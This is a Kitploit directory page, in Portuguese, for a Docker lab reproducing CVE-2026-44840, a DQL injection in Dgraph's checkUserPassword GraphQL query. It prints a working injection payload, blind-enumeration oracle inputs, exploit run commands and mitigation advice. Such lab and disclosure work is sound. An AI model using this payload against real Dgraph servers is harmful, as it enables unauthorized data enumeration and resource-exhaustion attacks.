Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-44840-poc — Laboratório Docker que reproduz o CVE-2026-44840, uma injeção de DQL na consulta GraphQL checkUserPassword do Dgraph, com script de exploração e comparação entre vulnerável e corrigido. | Kitploit
Ferramentas/GitHubGitHub/isaca0315/cve-2026-44840-poc
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebSegurança WebTestes de PenetraçãoRed TeamingSegurança de Banco de DadosLabs e Prática
GitHub
isaca0315/cve-2026-44840-poc

CVE-2026-44840-poc

Laboratório Docker que reproduz o CVE-2026-44840, uma injeção de DQL na consulta GraphQL checkUserPassword do Dgraph, com script de exploração e comparação entre vulnerável e corrigido.

Ver Repositório
há 1 diaAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-44840 — PoC: Injeção DQL no Dgraph via checkUserPassword (GraphQL)

Laboratório Docker que reproduz uma injeção real no Dgraph:

  • Vulnerável: dgraph/dgraph:v25.3.3
  • Corrigido : dgraph/dgraph:v25.3.4

CVE real de 2026 · CVSS 3.1 7.5 (High) · CWE-943 (Improper Neutralization in Data Query Logic) · atribuída a Kai Aizen (GHSA-q2m9-6jp9-c6mc, GO-2026-5837). Apenas para ambiente de lab isolado e autorizado.

Contexto

checkUserPassword é a query GraphQL que o esquema do Dgraph gera automaticamente para tipos com a diretiva . Em (≤ v25.3.3) a password era concatenada com :

@secret(field: "password")
graphql/resolve/query_rewriter.go
fmt.Sprintf
sem escapar nem parametrizar
root@kitploit:~
pwdVar := fmt.Sprintf(`checkpwd(%s, "%s")`, predicate, password)   // VULNERABLE

A password do atacante fica intercalada literalmente no DQL:

root@kitploit:~
pwd as checkpwd(User.password, "<password do atacante>")

O fix (v25.3.4, commit cee702c) parametriza o valor:

root@kitploit:~
pwdVar = "$pwd0"                                  // FIX
// executa com &dgoapi.Request{Query: qry, Vars: map[string]string{"$pwd0": password}, ...}

O que o PoC faz

  1. Levanta dois clusters Dgraph (zero+alpha): v25.3.3 e v25.3.4.

  2. Sobe o esquema type User @secret(field: "password") e cria admin, alice, bob.

  3. Envia para checkUserPassword uma password que escapa do literal DQL e adiciona um bloco de query arbitrário:

    root@kitploit:~
    x")
    }
    injected(func: has(User.name)) {
      User.name
      User.email
      uid
    }
    #
    

    Na v25.3.3 o bloco injected { ... } é parseado e executado server-side.

Observáveis

Testev25.3.3 (vulnerável)v25.3.4 (corrigido)
login com password corretaOK (touched_uids 7)OK (touched_uids 7)
login com password incorretanull (5)null (5)
password injetada )} injected{...} #é executada: touched_uids 14neutralizada: 5
oráculo: eq(User.name,"bob") injetadotouched_uids 7 (existe)5
oráculo: eq(User.name,"nobody") injetado5 (não existe)5
log do dgraph alphamostra o DQL com o bloco injectedDQL parametrizado, sem bloco

Impacto do CVE: execução de DQL arbitrário server-side → enumeração cega de dados (via touched_uids/timing), descoberta de esquema (has(), eq()) e DoS por consumo de recursos injetando travessias custosas (expand(_all_), recursões).

Uso

root@kitploit:~
# 1) levantar tudo, preparar esquema/usuários e executar o exploit
bash run.sh

# 2) apenas o exploit (se o lab já estiver preparado)
python3 exploit/exploit.py

# 3) montar o ambiente do zero (pod / dump)
docker compose up -d
python3 setup/setup.py --alpha http://localhost:8180
python3 setup/setup.py --alpha http://localhost:8280

# 4) limpar
docker compose down            # conserva os volumes
docker compose down -v         # apaga os volumes (dados do dgraph)

Endpoints do lab

ServiçoHTTP GraphQLHTTP admingRPC alpha
alpha v25.3.3http://localhost:8180/graphqlhttp://localhost:8180/admin9180
alpha v25.3.4http://localhost:8280/graphqlhttp://localhost:8280/admin9280

Estrutura

root@kitploit:~
CVE-2026-44840-poc/
├── docker-compose.yml     # 2 clusters: zero+alpha v25.3.3 / v25.3.4
├── schema.graphql         # type User @secret(field:"password")
├── run.sh                 # orquestrador completo
├── REDTEAM.md             # guia red team: recon + exploração passo a passo + OPSEC
├── setup/setup.py         # esquema + usuários
└── exploit/exploit.py     # injeção DQL e oráculo

Guia operacional ofensivo (reconhecimento, exploração passo a passo, payloads, evidência e OPSEC): REDTEAM.md.

Detalhe do payload

A password viaja como variável GraphQL; o valor que chega ao rewriter não é escapado e é inserido dentro de checkpwd(User.password, "..."). O payload:

root@kitploit:~
x")            # fecha o literal de checkpwd e a função
}              # fecha o bloco checkPwd
injected(...)  # novo bloco root do atacante
  { ... }
#              # comenta o resto do template:  ")

O # evita que o sufixo do template (a " de fechamento de checkpwd) quebre o parseamento.

Mitigação

  • Atualizar para dgraph v25.3.4+.
  • Versão curta: parametrizar sempre valores em DQL (vars de dgoapi.Request), nunca interpolar input com fmt.Sprintf.
  • Habilitar índice/ACL e não expor GraphQL sem autenticação em produção.# CVE-2026-44840-poc
Baixar ferramenta